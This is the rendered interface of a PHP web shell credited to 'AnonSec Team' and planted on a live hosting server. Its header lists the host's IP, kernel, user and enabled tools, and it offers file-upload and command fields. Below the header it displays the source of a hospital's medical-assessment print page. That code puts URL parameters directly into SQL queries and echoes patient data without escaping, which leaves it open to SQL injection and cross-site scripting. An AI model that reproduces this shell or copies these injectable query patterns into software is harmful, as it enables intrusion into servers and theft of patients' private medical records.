Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.136.22.28
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/print/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/print/Print-Medical-Assessment.php
<div class='col-sm-12'>
	     <?php
     session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');

    include("../dbconnection.php");
		$sql2 ="SELECT * FROM save_activity WHERE srno='$_GET[srno]'";
		$qsql2 = mysqli_query($con,$sql2);
		if($re1 = mysqli_fetch_array($qsql2))
		{
		    
		   	include 'dashboarddocument.php';
}
?>
	  

  <?php

include 'fileheader.php';
?>
						
             	 <?php

      

	    	$sqlpatient2 = "SELECT * FROM site_users WHERE userno='$rpatient[Admitted_Under]'";
	$qsqlpatient2 = mysqli_query($con,$sqlpatient2);
	if($rsn2 = mysqli_fetch_array($qsqlpatient2))
	{
	    echo"
<div class='checkbox'><span style='float: left;'><b>Admission On  :</b> $rpatient[created_at]<br>
<b>Consultant :</b>$rsn2[name]($rpatient[casetype])

</span>

<span style='float: right;'><B>File No.</B> :$rpatient[prescriptionid] <br>";


$sqlpatient = "SELECT * FROM save_activity WHERE  prescriptionid='$_GET[prescriptionid]' AND discription='Intial Assessment<br>Vulnerability Assessment<br>Doc.no-'";
	$qsqlpatient = mysqli_query($con,$sqlpatient);
	if($rsp = mysqli_fetch_array($qsqlpatient))
	{
	    if($rsp[discription]== 'Intial Assessment<br>Vulnerability Assessment<br>Doc.no-'){
	        echo"<b>Doc.no </b>: $rsp[srno]";

} else{
    echo "";
}
       
	}


echo "</span></div><br>



<br><br>
<div class='checkbox'><span style='float: left;'><b>UHID :</b> $rspi1[patientid]</span><span style='float: right;'><b>Name</b> :$rspi1[patientname]</span></div>
     <br>
     <div class='checkbox'><span style='float: left;'><b>Age:</b> $rspi1[dob]</span><span style='float: right;'><b>SEX :</b>$rspi1[gendor]</span></div>
              <div class='card-body'>
             
      
      ";
	}


	?> 
      <br>   
             
 <div class="panel panel-primary">
               
    <div class="panel-body">
      <h4 class="text-on-pannel text-primary"><strong class="text-uppercase">
         Medical Assessment
 </strong></h4>            
               <br>
             
  <table width='100%' border='1' class='table table-bordered table-hover' style='width:100%;' border='1'>
    
    
    
    
    <?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['Fever'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Fever: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Fever_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['smell'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Loss of Smell: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[smell_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Diarrhoea'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Diarrhoea: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Diarrhoea_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Deformity'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Facial Deformity: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Deformity_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Cough'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Cough: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Cough_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Taste'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Loss of Taste: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Taste_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Weakness'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Weakness: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Weakness_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Breathlessness'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Breathlessness: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Breathlessness_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Appetite'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Shivering: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Appetite_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Limbs'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Power Loss in Limbs: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Limbs_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Throat'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Sore Throat : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Throat_note]</td></tr>";
} else{
    echo "";
}
}
?>


<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Vomitting'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Vomitting : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Vomitting_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Slurred_Voice'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Slurred Voice: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Slurred_Voice_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Nausea'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Nausea: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Nausea_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Loss_Appetite'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Loss of Appetite: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Loss_Appetite_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Delusion'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Delusion: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Delusion_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Fits_Anger'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Fits of Anger: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Fits_Anger_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Depression'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Depression: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Depression_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Memory_Loss'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Memory Loss: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Memory_Loss_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Bleeding_Disorder'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Bleeding Disorder: </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Bleeding_Disorder_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Migraine'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Migraine : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Migraine_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Frequent_Urination'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Frequent Urination : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Frequent_Urination_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Swollen_Join'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Swollen Join : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Swollen_Join_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Weight_Gain'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Weight Gain : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Weight_Gain_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['weight_loss'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; weight loss : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[weight_loss_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Body_pain'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Body pain : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Body_pain_note]</td></tr>";
} else{
    echo "";
}
}
?>


<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Physical_Injury'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Physical Injury : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Physical_Injury_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    $usertype=$rs['Other_Symptoms'];
if($usertype == ''){
    echo " ";
}
else
{
    echo"<tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Other Symptoms : </td>
<td width='33%'>$rs[Other_Symptoms]</td></tr>";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['RED_EYE'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; RED EYE : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[RED_EYE_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Swollen_Eye'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Swollen Eye : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Swollen_Eye_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Conjunctiva'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Conjunctiva : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Conjunctiva_note]</td></tr>";
} else{
    echo "";
}
}
?>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Itchiness'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Itchiness : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Itchiness_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Dislocated'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Dislocated : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Dislocated_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Blur_Vision'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; 	Blur Vision : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Blur_Vision_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Partial_Blindness'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Partial Blindness : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Partial_Blindness_note]</td></tr>";
} else{
    echo "";
}
}
?>

<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
$usertype=$rs['Blindness'];
if($usertype == 'on'){
    echo " <tr><td width='33%'>&nbsp;  &nbsp; &nbsp; &nbsp; Blindness : </td>
<td width='33%'>Yes</td><td width='33%'>$rs[Blindness_note]</td></tr>";
} else{
    echo "";
}
}
?>
</table>
   
	 <table width='100%' border='1' class='table table-bordered table-hover' style='width:100%;' border='1'>
<?php
  	$sql ="SELECT * FROM Medical_Assessment WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
	    $sql1 ="SELECT * FROM site_users WHERE userno='$rs[entered_by]'";
		$qsql1 = mysqli_query($con,$sql1);
		if($rs1 = mysqli_fetch_array($qsql1))
		{
		    
		 echo"<h5><b> Created & Updated </b><h5>
	
		 <tr><td width=50%><b>By :</b>$rs1[name] </b><td width='50%'><b>At :</b> $rs[updated_at] </tr>";   
		    
		}
		}
		?>
		</table>   	
											
										
    <div style="page-break-before:always">&nbsp;</div>
    
</div>					
					
					
				   	</div>
					
					</div>

Anon7 - 2022
AnonSec Team